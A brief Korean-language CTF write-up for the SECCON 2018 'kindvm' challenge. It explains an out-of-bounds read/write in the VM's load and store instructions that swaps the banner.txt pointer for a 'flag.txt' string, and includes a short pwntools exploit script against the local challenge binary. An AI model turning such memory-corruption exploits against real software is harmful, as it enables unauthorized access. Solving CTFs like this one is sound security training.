[SECCON_2018] kindvm

처음으로 풀어본 vm 문제. 재미있다

분석하는데 어려웠지만 조금만 잘 보면 OOB가 터져서 이걸 이용해서 banner.txt를 flag.txt로 바꿔주면 된다!!

익스는 대강

1. name 입력받을 때 flag.txt로 입력!
2. load에서 OOB를 사용해서 reg에 heap에 저장되어 있는 flag.txt를 가리키는 포인터를 쓴다.
3. store를 사용해서 banner.txt가 있는 위치에 flag.txt를 가르키는 포인터로 쓴다.
4. halt로 반복문 탈출!
5. 끄읏

이런 순서로 이루어 진다.

 

 

from pwn import *
 
 
s = process("./kindvm")
elf = ELF("./kindvm")
 
gdb.attach(s,'b *0x08048CF3')
 
def ins(_ins):
    s.sendlineafter("instruction : ",_ins)
 
 
name = "flag.txt"
s.sendlineafter("name : ",name)
 
pay = "\x01"+"\x00"+"\xff\xd8"
pay += "\x02"+"\xff\xdc"+"\x00"
pay += "\x06"
 
ins(pay)
 
s.interactive()